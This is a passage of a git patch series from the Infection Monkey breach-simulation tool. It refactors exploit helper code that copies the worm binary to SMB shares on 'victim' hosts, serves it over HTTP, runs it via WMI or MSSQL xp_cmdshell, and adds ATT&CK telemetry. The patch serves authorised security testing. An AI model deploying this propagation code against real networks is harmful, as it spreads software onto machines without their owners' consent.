+ ); + } +} + +export default T1106; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 57ac66f87..58e234b82 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -16,6 +16,7 @@ import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; import T1035 from "../attack/techniques/T1035"; import T1129 from "../attack/techniques/T1129"; +import T1106 from "../attack/techniques/T1106"; const tech_components = { 'T1210': T1210, @@ -28,7 +29,8 @@ const tech_components = { 'T1082': T1082, 'T1145': T1145, 'T1035': T1035, - 'T1129': T1129 + 'T1129': T1129, + 'T1106': T1106 }; const classNames = require('classnames'); From 8e3f1e7817c0c84131a7423f3f0b19fb38186bdc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 5 Jul 2019 10:04:16 +0300 Subject: [PATCH 04/43] exploit.tools refactored into separate modules to avoid circular dependencies while using telemetries --- monkey/infection_monkey/dropper.py | 2 +- monkey/infection_monkey/exploit/hadoop.py | 3 +- monkey/infection_monkey/exploit/mssqlexec.py | 15 +- monkey/infection_monkey/exploit/rdpgrinder.py | 5 +- monkey/infection_monkey/exploit/sambacry.py | 6 +- monkey/infection_monkey/exploit/shellshock.py | 4 +- monkey/infection_monkey/exploit/smbexec.py | 4 +- monkey/infection_monkey/exploit/sshexec.py | 8 +- monkey/infection_monkey/exploit/tools.py | 536 ------------------ .../exploit/tools/__init__.py | 0 .../infection_monkey/exploit/tools/helpers.py | 134 +++++ .../exploit/tools/http_tools.py | 62 ++ .../exploit/tools/smb_tools.py | 216 +++++++ .../exploit/tools/wmi_tools.py | 150 +++++ monkey/infection_monkey/exploit/vsftpd.py | 4 +- monkey/infection_monkey/exploit/web_rce.py | 3 +- monkey/infection_monkey/exploit/weblogic.py | 3 +- .../infection_monkey/exploit/win_ms08_067.py | 4 +- monkey/infection_monkey/exploit/wmiexec.py | 5 +- monkey/infection_monkey/monkey.py | 2 +- .../post_breach/actions/users_custom_pba.py | 9 + .../telemetry/attack/t1105_telem.py | 22 + monkey/infection_monkey/transport/http.py | 8 +- monkey/infection_monkey/tunnel.py | 2 +- monkey/infection_monkey/windows_upgrader.py | 2 +- 25 files changed, 641 insertions(+), 568 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/tools.py create mode 100644 monkey/infection_monkey/exploit/tools/__init__.py create mode 100644 monkey/infection_monkey/exploit/tools/helpers.py create mode 100644 monkey/infection_monkey/exploit/tools/http_tools.py create mode 100644 monkey/infection_monkey/exploit/tools/smb_tools.py create mode 100644 monkey/infection_monkey/exploit/tools/wmi_tools.py create mode 100644 monkey/infection_monkey/telemetry/attack/t1105_telem.py diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index cc065a745..d421d1b0a 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -11,7 +11,7 @@ from ctypes import c_char_p import filecmp from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from infection_monkey.system_info import SystemInfoCollector, OperatingSystem diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 958bab7eb..10ddbe589 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -11,7 +11,8 @@ import logging import posixpath from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 9d1dcb2d6..bac923063 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -6,9 +6,10 @@ from time import sleep import pymssql from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter, tools -from infection_monkey.exploit.tools import HTTPTools -from infection_monkey.exploit.tools import get_monkey_dest_path +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ + build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG from infection_monkey.utils import get_monkey_dir_path @@ -40,7 +41,7 @@ class MSSQLExploiter(HostExploiter): return False # Get monkey exe for host and it's path - src_path = tools.get_target_monkey(self.host) + src_path = get_target_monkey(self.host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False @@ -68,9 +69,9 @@ class MSSQLExploiter(HostExploiter): MSSQLExploiter.run_file(cursor, tmp_file_path) self.add_executed_cmd(' '.join(commands)) # Form monkey's command in a file - monkey_args = tools.build_monkey_commandline(self.host, - tools.get_monkey_depth() - 1, - dst_path) + monkey_args = build_monkey_commandline(self.host, + get_monkey_depth() - 1, + dst_path) monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) for part in textwrap.wrap(monkey_args, 40)] commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 0db63e86d..70b5da262 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -10,11 +10,10 @@ from rdpy.protocol.rdp import rdp from twisted.internet import reactor from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth -from infection_monkey.exploit.tools import get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.utils import utf_to_ascii from common.utils.exploit_enum import ExploitType diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 7d9ed1010..9a9f934fb 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -19,8 +19,10 @@ import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE -from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth from infection_monkey.pyinstaller_utils import get_binary_file_path +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem __author__ = 'itay.mizeretz' @@ -266,7 +268,7 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - + T1105Telem(ScanStatus.USED, self.host.ip_addr[0], monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index d65733d03..074758685 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -7,10 +7,10 @@ from random import choice import requests from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import DROPPER_ARG from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.exploit.tools.http_tools import HTTPTools __author__ = 'danielg' diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d49e66ae8..04e79f4bd 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -4,11 +4,11 @@ from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from infection_monkey.network import SMBFinger from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index c7cf030c1..1c616c6e1 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -6,11 +6,12 @@ import StringIO import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port -from infection_monkey.exploit.tools import build_monkey_commandline from common.utils.exploit_enum import ExploitType +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem __author__ = 'hoffer' @@ -162,10 +163,11 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - + T1105Telem(ScanStatus.USED, self.host.ip_addr[0], src_path).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) + T1105Telem(ScanStatus.SCANNED, self.host.ip_addr[0], src_path).send() return False try: diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py deleted file mode 100644 index 0b496f8be..000000000 --- a/monkey/infection_monkey/exploit/tools.py +++ /dev/null @@ -1,536 +0,0 @@ -import logging -import ntpath -import os -import os.path -import pprint -import socket -import struct -import sys -import urllib - -from impacket.dcerpc.v5 import transport, srvs -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dtypes import NULL -from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 -from impacket.smbconnection import SMBConnection, SMB_DIALECT - -import infection_monkey.config -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.info import get_free_tcp_port, get_routes -from infection_monkey.transport import HTTPServer, LockedHTTPServer -from threading import Lock - - -class DceRpcException(Exception): - pass - - -__author__ = 'itamar' - -LOG = logging.getLogger(__name__) - - -class AccessDeniedException(Exception): - def __init__(self, host, username, password, domain): - super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" % - (host, domain, username, password)) - - -class WmiTools(object): - class WmiConnection(object): - def __init__(self): - self._dcom = None - self._iWbemServices = None - - @property - def connected(self): - return self._dcom is not None - - def connect(self, host, username, password, domain=None, lmhash="", nthash=""): - if not domain: - domain = host.ip_addr - - dcom = DCOMConnection(host.ip_addr, - username=username, - password=password, - domain=domain, - lmhash=lmhash, - nthash=nthash, - oxidResolver=True) - - try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, - wmi.IID_IWbemLevel1Login) - except Exception as exc: - dcom.disconnect() - - if "rpc_s_access_denied" == exc.message: - raise AccessDeniedException(host, username, password, domain) - - raise - - iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - - try: - self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) - self._dcom = dcom - except: - dcom.disconnect() - - raise - finally: - iWbemLevel1Login.RemRelease() - - def close(self): - assert self.connected, "WmiConnection isn't connected" - - self._iWbemServices.RemRelease() - self._iWbemServices = None - - self._dcom.disconnect() - self._dcom = None - - @staticmethod - def dcom_wrap(func): - def _wrapper(*args, **kwarg): - try: - return func(*args, **kwarg) - finally: - WmiTools.dcom_cleanup() - - return _wrapper - - @staticmethod - def dcom_cleanup(): - for port_map in DCOMConnection.PORTMAPS.keys(): - del DCOMConnection.PORTMAPS[port_map] - for oid_set in DCOMConnection.OID_SET.keys(): - del DCOMConnection.OID_SET[port_map] - - DCOMConnection.OID_SET = {} - DCOMConnection.PORTMAPS = {} - if DCOMConnection.PINGTIMER: - DCOMConnection.PINGTIMER.cancel() - DCOMConnection.PINGTIMER.join() - DCOMConnection.PINGTIMER = None - - @staticmethod - def get_object(wmi_connection, object_name): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - return wmi_connection._iWbemServices.GetObject(object_name)[0] - - @staticmethod - def list_object(wmi_connection, object_name, fields=None, where=None): - assert isinstance(wmi_connection, WmiTools.WmiConnection) - assert wmi_connection.connected, "WmiConnection isn't connected" - - if fields: - fields_query = ",".join(fields) - else: - fields_query = "*" - - wql_query = "SELECT %s FROM %s" % (fields_query, object_name) - - if where: - wql_query += " WHERE %s" % (where,) - - LOG.debug("Execution WQL query: %r", wql_query) - - iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query) - - query = [] - try: - while True: - try: - next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0] - record = next_item.getProperties() - - if not fields: - fields = record.keys() - - query_record = {} - for key in fields: - query_record[key] = record[key]['value'] - - query.append(query_record) - except DCERPCSessionError as exc: - if 1 == exc.error_code: - break - - raise - finally: - iEnumWbemClassObject.RemRelease() - - return query - - -class SmbTools(object): - @staticmethod - def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - config = infection_monkey.config.WormConfiguration - src_file_size = monkeyfs.getsize(src_path) - - smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - # skip guest users - if smb.isGuestSession() > 0: - LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s'," - " LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - - try: - smb.logoff() - except: - pass - - return None - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) - except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", - host, exc) - return None - - info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], - 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], - 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), - 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), - 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), - 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} - - LOG.debug("Connected to %r using %s:\n%s", - host, dialect, pprint.pformat(info)) - - try: - resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) - except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", - host, exc) - return None - - resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] - - high_priority_shares = () - low_priority_shares = () - file_name = ntpath.split(dst_path)[-1] - - for i in range(len(resp)): - share_name = resp[i]['shi2_netname'].strip("\0 ") - share_path = resp[i]['shi2_path'].strip("\0 ") - current_uses = resp[i]['shi2_current_uses'] - max_uses = resp[i]['shi2_max_uses'] - - if current_uses >= max_uses: - LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", - share_name, host) - continue - elif not share_path: - LOG.debug("Skipping share '%s' on victim %r because share path is invalid", - share_name, host) - continue - - share_info = {'share_name': share_name, - 'share_path': share_path} - - if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - shares = high_priority_shares + low_priority_shares - - file_uploaded = False - for remote_path, share in shares: - share_name = share['share_name'] - share_path = share['share_path'] - - if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) - if not smb: - return None - - try: - tid = smb.connectTree(share_name) - except Exception as exc: - LOG.debug("Error connecting tree to share '%s' on victim %r: %s", - share_name, host, exc) - continue - - LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, share_path, remote_path, host) - - remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) - - # check if file is found on destination - if config.skip_exploit_if_file_exist: - try: - file_info = smb.listPath(share_name, remote_path) - if file_info: - if src_file_size == file_info[0].get_filesize(): - LOG.debug("Remote monkey file is same as source, skipping copy") - return remote_full_path - - LOG.debug("Remote monkey file is found but different, moving along with attack") - except: - pass # file isn't found on remote victim, moving on - - try: - with monkeyfs.open(src_path, 'rb') as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) - - file_uploaded = True - - LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, share_name, share_path, host) - - break - except Exception as exc: - LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", - share_name, host, exc) - continue - finally: - try: - smb.logoff() - except: - pass - - smb = None - - if not file_uploaded: - LOG.debug("Couldn't find a writable share for exploiting" - " victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s", - host, username, password, lm_hash, ntlm_hash) - return None - - return remote_full_path - - @staticmethod - def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): - try: - smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) - except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," - " trying port 139 (%s)", host, exc) - - try: - smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) - except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", - host, exc) - return None, None - - dialect = {SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") - - # we know this should work because the WMI connection worked - try: - smb.login(username, password, '', lm_hash, ntlm_hash) - except Exception as exc: - LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s", - host, username, password, lm_hash, ntlm_hash, exc) - return None, dialect - - smb.setTimeout(timeout) - return smb, dialect - - @staticmethod - def execute_rpc_call(smb, rpc_func, *args): - dce = SmbTools.get_dce_bind(smb) - rpc_method_wrapper = getattr(srvs, rpc_func, None) - if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) - - return rpc_method_wrapper(dce, *args) - - @staticmethod - def get_dce_bind(smb): - rpctransport = transport.SMBTransport(smb.getRemoteHost(), - smb.getRemoteHost(), - filename=r'\srvsvc', - smb_connection=smb) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - -class HTTPTools(object): - @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - - @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): - """ - Create http server for file transfer with a lock - :param host: Variable with target's information - :param src_path: Monkey's path on current system - :param local_ip: IP where to host server - :param local_port: Port at which to host monkey's download - :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler - """ - # To avoid race conditions we pass a locked lock to http servers thread - lock = Lock() - lock.acquire() - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") - return None, None - - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - httpd.start() - lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - - -def get_interface_to_target(dst): - if sys.platform == "win32": - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - try: - s.connect((dst, 1)) - ip_to_dst = s.getsockname()[0] - except KeyError: - ip_to_dst = '127.0.0.1' - finally: - s.close() - return ip_to_dst - else: - # based on scapy implementation - - def atol(x): - ip = socket.inet_aton(x) - return struct.unpack("!I", ip)[0] - - routes = get_routes() - dst = atol(dst) - paths = [] - for d, m, gw, i, a in routes: - aa = atol(a) - if aa == dst: - paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) - if (dst & m) == (d & m): - paths.append((m, (i, a, gw))) - if not paths: - return None - paths.sort() - ret = paths[-1][1] - return ret[1] - - -def get_target_monkey(host): - from infection_monkey.control import ControlClient - import platform - import sys - - if host.monkey_exe: - return host.monkey_exe - - if not host.os.get('type'): - return None - - monkey_path = ControlClient.download_monkey_exe(host) - - if host.os.get('machine') and monkey_path: - host.monkey_exe = monkey_path - - if not monkey_path: - if host.os.get('type') == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): - monkey_path = sys.executable - - return monkey_path - - -def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) - - -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): - cmdline = "" - - if parent is not None: - cmdline += " -p " + parent - if tunnel is not None: - cmdline += " -t " + tunnel - if server is not None: - cmdline += " -s " + server - if depth is not None: - if depth < 0: - depth = 0 - cmdline += " -d %d" % depth - if location is not None: - cmdline += " -l %s" % location - - return cmdline - - -def build_monkey_commandline(target_host, depth, location=None): - from infection_monkey.config import GUID - return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location) - - -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - return WormConfiguration.depth - - -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): - LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if 'linux' in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") - return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") - return False diff --git a/monkey/infection_monkey/exploit/tools/__init__.py b/monkey/infection_monkey/exploit/tools/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py new file mode 100644 index 000000000..83a8bfd92 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -0,0 +1,134 @@ +import logging +import socket +import struct +import sys + +from infection_monkey.network.info import get_routes + +LOG = logging.getLogger(__name__) + + +def get_interface_to_target(dst): + """ + :param dst: destination IP address string without port. E.G. '192.168.1.1.' + :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' + """ + if sys.platform == "win32": + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect((dst, 1)) + ip_to_dst = s.getsockname()[0] + except KeyError: + ip_to_dst = '127.0.0.1' + finally: + s.close() + return ip_to_dst + else: + # based on scapy implementation + + def atol(x): + ip = socket.inet_aton(x) + return struct.unpack("!I", ip)[0] + + routes = get_routes() + dst = atol(dst) + paths = [] + for d, m, gw, i, a in routes: + aa = atol(a) + if aa == dst: + paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) + if (dst & m) == (d & m): + paths.append((m, (i, a, gw))) + if not paths: + return None + paths.sort() + ret = paths[-1][1] + return ret[1] + + +def get_target_monkey(host): + from infection_monkey.control import ControlClient + import platform + import sys + + if host.monkey_exe: + return host.monkey_exe + + if not host.os.get('type'): + return None + + monkey_path = ControlClient.download_monkey_exe(host) + + if host.os.get('machine') and monkey_path: + host.monkey_exe = monkey_path + + if not monkey_path: + if host.os.get('type') == platform.system().lower(): + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe + if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ + host.os.get('machine', '').lower() == platform.machine().lower(): + monkey_path = sys.executable + + return monkey_path + + +def get_target_monkey_by_os(is_windows, is_32bit): + from infection_monkey.control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + + +def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None): + cmdline = "" + + if parent is not None: + cmdline += " -p " + parent + if tunnel is not None: + cmdline += " -t " + tunnel + if server is not None: + cmdline += " -s " + server + if depth is not None: + if depth < 0: + depth = 0 + cmdline += " -d %d" % depth + if location is not None: + cmdline += " -l %s" % location + + return cmdline + + +def build_monkey_commandline(target_host, depth, location=None): + from infection_monkey.config import GUID + return build_monkey_commandline_explicitly( + GUID, target_host.default_tunnel, target_host.default_server, depth, location) + + +def get_monkey_depth(): + from infection_monkey.config import WormConfiguration + return WormConfiguration.depth + + +def get_monkey_dest_path(url_to_monkey): + """ + Gets destination path from monkey's source url. + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from infection_monkey.config import WormConfiguration + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py new file mode 100644 index 000000000..f23ba8276 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -0,0 +1,62 @@ +import logging +import os +import os.path +import urllib +from threading import Lock + +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port +from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.exploit.tools.helpers import get_interface_to_target + + +__author__ = 'itamar' + +LOG = logging.getLogger(__name__) + + +class HTTPTools(object): + @staticmethod + def create_transfer(host, src_path, local_ip=None, local_port=None): + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = HTTPServer(local_ip, local_port, src_path) + httpd.daemon = True + httpd.start() + + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + + @staticmethod + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + """ + Create http server for file transfer with a lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler + """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + LOG.error("Firewall is not allowed to listen for incomming ports. Aborting") + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd.start() + lock.acquire() + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py new file mode 100644 index 000000000..89e755d28 --- /dev/null +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -0,0 +1,216 @@ +import logging +import ntpath +import pprint + +from impacket.dcerpc.v5 import transport, srvs +from impacket.smb3structs import SMB2_DIALECT_002, 